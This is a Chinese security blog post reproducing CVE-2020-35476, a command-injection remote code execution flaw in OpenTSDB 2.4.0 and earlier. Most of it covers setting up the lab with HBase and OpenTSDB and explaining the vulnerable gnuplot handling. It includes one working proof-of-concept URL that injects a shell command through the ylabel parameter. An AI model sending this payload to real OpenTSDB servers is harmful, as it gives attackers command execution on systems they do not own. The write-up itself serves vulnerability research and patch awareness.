opentsdb远程代码执行(CVE-2020-35476)复现

  • A+
所属分类:安全文章

简介

OpenTSDB(Open Time Series Data Base)是基于HBASE构建的分布式、可扩展的时间序列数据库。OpenTSDB可以获取电力行业、化工行业、物联网行业等各类型实时监测、检查与分析设备所采集、产生的时间序列数据,并提供存储、索引以及图形化服务,使其易于访问和可视化。


影响版本

OpenTSDB <= 2.4.0


环境搭建

环境

Centos 7

安装依赖hbase

wget https://mirrors.tuna.tsinghua.edu.cn/apache/hbase/1.4.13/hbase-1.4.13-bin.tar.gz

opentsdb远程代码执行(CVE-2020-35476)复现

tar -zxvf hbase-1.4.13-bin-tar.gz #解压文件包cp -r hbase-1.4.13 /var/ #移动文件hbase-1.4.13到/var目录下cd /var/hbase-1.4.13 进入目录


opentsdb远程代码执行(CVE-2020-35476)复现

配置jdk路径

vi conf/hbase-env.sh

opentsdb远程代码执行(CVE-2020-35476)复现

这里填写自己java所在的文件路径不清楚的话可以使用whereis java来查看

进入conf/hbase-site.xml文件,在<configuration>标签中添加以下内容

<configuration>  <property><name>hbase.rootdir</name>    <value>file:///home/itwild/hbase</value>  </property>  <property>    <name>hbase.zookeeper.property.dataDir</name>    <value>/home/itwild/zookeeper</value>  </property></configuration>

添加完毕之后

opentsdb远程代码执行(CVE-2020-35476)复现

启动HBase

cd bin./start-hbase.sh #启动hbase./stop-hbase.sh #关闭hbase

启动之后再bin目录下执行

./hbase shell进入交互界面类似mysql的交互模式

opentsdb远程代码执行(CVE-2020-35476)复现

create 'tsdb',{NAME => 't', VERSIONS => 1, BLOOMFILTER => 'ROW'}create 'tsdb-uid',{NAME => 'id', BLOOMFILTER => 'ROW'},{NAME => 'name', BLOOMFILTER => 'ROW'}create 'tsdb-tree',{NAME => 't', VERSIONS => 1, BLOOMFILTER => 'ROW'}create 'tsdb-meta',{NAME => 'name', BLOOMFILTER => 'ROW'}

创建四张表

最后执行

list #查看四个表是否创建成功

opentsdb远程代码执行(CVE-2020-35476)复现

安装opentsdb

wget https://github.com/OpenTSDB/opentsdb/releases/download/v2.3.2/opentsdb-2.3.2.noarch.rpm #下载opentsdb2.3.2yum localinstall -y opentsdb-2.3.2.noarch.rpm #安装opentsdb

安装完成后把opentsdb注册为系统服务

vi /usr/lib/systemd/system/opentsdb.service

再里面添加以下内容

[Unit]Description=OpenTSDB Service[Service]Type=forkingPrivateTmp=yesExecStart=/usr/share/opentsdb/etc/init.d/opentsdb startExecStop=/usr/share/opentsdb/etc/init.d/opentsdb stopRestart=on-abort


opentsdb远程代码执行(CVE-2020-35476)复现

然后就可以使用systemctl status opentsdb查看服务状态了

修改/etc/opentsdb/opentsdb.conf配置文件

opentsdb远程代码执行(CVE-2020-35476)复现

opentsdb远程代码执行(CVE-2020-35476)复现

最后启动opentsdb

systemctl start opentsdb

如果安装没有问题的话就可以打开locathost:4242看到这个界面了



opentsdb远程代码执行(CVE-2020-35476)复现


漏洞原理

OpenTSDB 2.4.0及之前版本中存在远程代码执行漏洞,用户提交的yrange参数或其他相关参数的值在/src/tsd/GraphHandler.java文件中进行简单的反引号及其编码过滤处理后会被直接写入到/tmp目录下的gnuplot文件中


opentsdb远程代码执行(CVE-2020-35476)复现

而该gnuplot文件会被OpenTSDB目录/src/mygnuplot.sh脚本调用执行,攻击者可使用其他方式进行绕过上述限制,通过命令注入的方式触发远程代码执行漏洞

opentsdb远程代码执行(CVE-2020-35476)复现


漏洞复现

Poc

Localhost:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=[33:system(%27touch%20/tmp/poc.txt%27)]&xrange=10:10&yrange=www&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

执行成功回显

opentsdb远程代码执行(CVE-2020-35476)复现

然后会在/tmp下成功创建gnuplot文件

opentsdb远程代码执行(CVE-2020-35476)复现

然后就可以等待该gnuplot文件被OpenTSDB目录/src/mygnuplot.sh脚本调用执行最后命令执行成功


修复建议

OpenTSDB官方暂未发布漏洞修复补丁,请及时关注厂商主页:http://opentsdb.net/

本文始发于微信公众号(锋刃科技):opentsdb远程代码执行(CVE-2020-35476)复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: